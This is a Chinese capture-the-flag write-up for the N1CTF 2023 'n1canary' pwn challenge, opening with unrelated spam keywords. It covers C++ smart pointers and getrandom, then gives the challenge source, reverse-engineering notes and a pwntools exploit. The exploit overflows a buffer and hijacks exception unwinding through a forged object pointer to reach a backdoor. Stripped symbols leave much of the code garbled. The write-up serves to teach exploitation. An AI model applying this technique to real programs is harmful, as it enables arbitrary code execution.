织梦配置手机网站,上海设计公司名称大全,范县网站建设电话,玉溪市城乡建设局网站文章目录 参考n1canary模板类和模板函数make_unique和unique_ptrstd::unique_ptr示例#xff1a; std::make_unique示例#xff1a; 结合使用示例 operator-getrandom逆向源码思路exp 参考
https://nese.team/posts/n1ctf2023/
n1canary
模板类和模板函数
template std::make_unique示例 结合使用示例 operator-getrandom逆向源码思路exp 参考
https://nese.team/posts/n1ctf2023/
n1canary
模板类和模板函数
template size_t SIZE struct ProtectedBuffer { char buf[SIZE];
};ProtectedBuffer64 bufida中 template typename Fn void mut(Fn const fn) {fn(buf);check();}buf.mut([](char *p) { scanf(%[^\n], p); });ida中 Fn是函数类型如函数参数函数返回值可用lambda表达式代替然后mut的参数就是在前一步基础上带有具体的函数方法体了也是Fn函数类型的IDA似乎直接把mut的参数优化成了函数方法体的参数了函数方法体已经生成在具体的函数里了
make_unique和unique_ptr
std::unique_ptr
std::unique_ptr是一个智能指针它拥有其所指向的对象的独占所有权。这意味着一旦std::unique_ptr超出作用域它会自动调用析构函数并释放其管理的对象防止内存泄漏。std::unique_ptr不允许复制但可以移动这意味着资源的所有权可以在不同的std::unique_ptr之间转移。
示例
#include iostream
#include memory// 定义一个简单的类
class MyClass {
public:MyClass(int value) : value_(value) {std::cout MyClass constructed with value: value_ std::endl;}~MyClass() {std::cout MyClass destructed. std::endl;}int getValue() const {return value_;}
private:int value_;
};int main() {// 使用 std::unique_ptr 来管理 MyClass 的对象std::unique_ptrMyClass uptr std::make_uniqueMyClass(42);// 使用智能指针访问对象std::cout Value from MyClass: uptr-getValue() std::endl;// std::unique_ptr 在超出作用域时会自动释放其管理的对象return 0;
}std::make_unique
std::make_unique是C14中引入的一个工厂函数用于方便地创建std::unique_ptr对象。它可以自动推导出对象的类型并调用合适的构造函数来初始化对象避免了手动使用new操作符的繁琐和潜在错误。
示例
#include iostream
#include memory// 使用 std::make_unique 直接创建并初始化 std::unique_ptr
int main() {auto uptr std::make_uniqueint(42); // 创建一个指向整数的 std::unique_ptr// 使用智能指针访问对象std::cout Value from unique_ptr: *uptr std::endl;// std::unique_ptr 在超出作用域时会自动释放其管理的对象return 0;
}结合使用示例
结合std::make_unique和std::unique_ptr我们可以非常简洁和安全地管理动态内存
#include iostream
#include memoryclass MyClass {
public:MyClass(int value) : value_(value) {}~MyClass() { std::cout MyClass destructed. std::endl; }int getValue() const { return value_; }
private:int value_;
};int main() {// 使用 std::make_unique 创建 std::unique_ptr 并初始化 MyClass 对象auto uptr std::make_uniqueMyClass(42);// 访问 MyClass 对象的值std::cout Value from MyClass: uptr-getValue() std::endl;// std::unique_ptr 在 main 函数结束时自动释放其管理的 MyClass 对象return 0;
}在上面的示例中std::make_unique用于创建std::unique_ptr并在MyClass的构造函数中传递一个整数值。std::unique_ptr负责在main函数结束时释放MyClass对象。
operator-
在C中operator-是一个成员访问操作符它被用来重载指针的解引用箭头操作符。当你使用-来访问一个对象的成员时这个操作实际上是在调用operator-函数。
对于std::unique_ptr而言operator-成员函数返回一个指向其管理的对象的指针。这使得你可以像使用普通智能指针一样通过-操作符来访问对象的成员。
getrandom
getrandom() 函数是在 Linux 内核版本 3.17 中引入的旨在提供一种更安全的方式来获取随机数尤其是当应用程序需要高质量的随机数据时比如在加密应用中。这个函数比旧的 /dev/urandom 和 /dev/random 设备文件更高效因为它减少了上下文切换和系统调用的开销。
getrandom() 函数的原型如下
#include linux/random.h
#include unistd.hssize_t getrandom(void *buf, size_t buflen, unsigned int flags);buf: 是一个指向缓冲区的指针getrandom() 将把随机数据写入这个缓冲区。buflen: 是缓冲区的大小即期望填充的字节数。flags: 可以包含一些标志位例如 GRND_RANDOM: 强制从阻塞的熵池中读取数据这类似于从 /dev/random 获取数据。如果熵池中的数据不足此函数会阻塞直到有足够的熵为止。GRND_NONBLOCK: 如果熵池中的数据不足此函数不会阻塞而是立即返回。如果返回值是负数你可以通过检查 errno 来确定是否是因为熵池中的数据不足。默认情况下getrandom() 行为类似于从 /dev/urandom 获取数据即它总是返回非阻塞的随机数据即使熵池中的数据不足。
getrandom() 返回的是写入缓冲区的字节数如果发生错误则返回一个负值此时可以通过 errno 变量来确定具体的错误原因。
逆向 会通过随机数生成方式填充sys_canary然后通过输入方式用户输入一个8个字节的到user_canary 根据虚表追踪到最终调用的虚函数 三个变量没有虚函数实现四个函数
模板参数是一个lambda表达式该lambda表达式是在BOFApp::launch函数中定义的并且接受一个char *类型的参数
调用了lambda表达式的operator()即执行了lambda函数体。a2和a1作为参数传递给这个lambda函数 往ProtectedBuffer的前64个字节的起始位置输入但没有长度限制溢出 会检查溢出如果不一样就会抛出异常 然后回溯到man函数被main函数的catch给处理 然后catch后会执行
有后门
源码
#include sys/random.h
#include utils.h
#include cstdio
#include cstring
#include memory
constexpr size_t CANARY_RANDBITS 3;
constexpr size_t CANARY_SHIFTBITS 4;
constexpr size_t CANARY_POOL_SIZE 1 CANARY_RANDBITS;
u64 user_canary[CANARY_POOL_SIZE];
u64 sys_canary[CANARY_POOL_SIZE];
template size_t SIZE struct ProtectedBuffer {char buf[SIZE];char padding 0;u64 canary;ProtectedBuffer() {bzero(buf, sizeof(buf)); //bzero函数将buf数组清零canary getCanary();}u64 getCanary() {u64 addr (u64)this;u64 canary_idx (addr CANARY_SHIFTBITS) (CANARY_POOL_SIZE - 1);//canary_idx 0~15u64 raw_canary user_canary[canary_idx] ^ sys_canary[canary_idx];return raw_canary;}void check() {if (canary ! getCanary()) {raise(*** stack smash detected ***);}}//typename关键字用于声明模板参数Fn是一个类型template typename Fn void mut(Fn const fn) {fn(buf);check();}// mut是一个模板成员函数它接受一个函数对象Fn// 通常是一个lambda或函数指针。这个函数对象应该接受一个char *类型的参数即缓冲区的地址。// mut函数执行传入的函数对象并在完成后调用check()来验证缓冲区的完整性。
};static void init_canary() {if (sizeof(sys_canary) ! getrandom(sys_canary, sizeof(sys_canary), 0)) {raise(canary init error);}puts(To increase entropy, give me your canary);readall(user_canary);
}struct UnsafeApp {UnsafeApp() { puts(creating dangerous app...); }virtual ~UnsafeApp() {}virtual void launch() 0;
};struct BOFApp : UnsafeApp {void launch() override {ProtectedBuffer64 buf;puts(input something to pwn :));buf.mut([](char *p) { scanf(%[^\n], p); });//读取一系列字符直到遇到一个不属于集合[^]的字符为止//从标准输入读取一整行文本不包括换行符并将其存储在p指向的缓冲区puts(buf.buf);}
};static void backdoor() { system(/readflag); }int main() {setbuf(stdin, nullptr);setbuf(stdout, nullptr);init_canary();try {auto app std::make_uniqueBOFApp();app-launch();} catch (...) { //catch (...) 是一个捕获所有类型的异常的通用捕获块puts(error!!!);exit(1);}
}#pragma once
#include cstdlib
#include stdexcept
#include unistd.h
using u64 unsigned long long;
static inline void raise(const char *msg) {puts(msg);throw std::runtime_error(msg);
}
static inline void readall(void *ptr, size_t size) {char *p (char *)ptr;size_t tot 0;while (tot size) {auto res read(STDIN_FILENO, p tot, size - tot);if (res 0)raise(IO error);tot res;}
}
template typename T static inline void readall(T dest) {readall(dest, sizeof(dest));
}思路
溢出能够控制栈上内容由于溢出控制的是main中调用launch的栈帧内容如果溢出到原来main函数的栈帧那么当异常回溯到main时没准可以利用到溢出的内容进而造成漏洞利用
原来溢出但没有溢出到返回地址时throw后跳转到的catch就是main函数部分的 原来的返回地址是0x0000000000403407 ,溢出保持返回地址不变随意覆盖rbp并不产生段错误 查看是否有利用到溢出后的main函数的栈帧的函数
mov rax, rsp mov rdi, rax正好会把当前溢出的0x4f4aa0所在的栈地址移动到rax和rdi std::__uniq_ptr_implBOFApp,std::default_deleteBOFApp::_M_ptr套娃半天就是返回第一个参数第一个参数就是0x4f4aa0所在的栈地址然后std::unique_ptrBOFApp::get_deleter和std::moveBOFApp *也是一样只能看std::default_deleteBOFApp::operator()(BOFApp*) rbx之前就被赋值为了0x4f4aa0所在栈地址
这里将0x4f4aa0作为第二个参数0x4f4aa0所在栈地址作为第一个参数然后检查第二个参数不为空就会call 第二个参数指向的值8作为地址指向的内容作为函数指针所以0x4f4aa0所在地址的值为0x4f4aa0然后8作为地址0x4f4aa08的位置的内容为函数指针最后就会跳转到这个函数这里去所以0x4f4aa08的值为后门的地址即可 真的太妙了真的太妙了感觉我是废物 exp
from pwn import *
a process(./a.out)gdb.attach(a)
pause()
payload p64(0x4f4aa0) p64(0x403387)
payload payload.ljust(64,ba)
a.sendlineafter(bTo increase entropy, give me your canary\n,payload)payload ba*0x68p64(0x403407)p64(0x4f4aa0)
a.sendlineafter(binput something to pwn :)\n,payload)
a.interactive()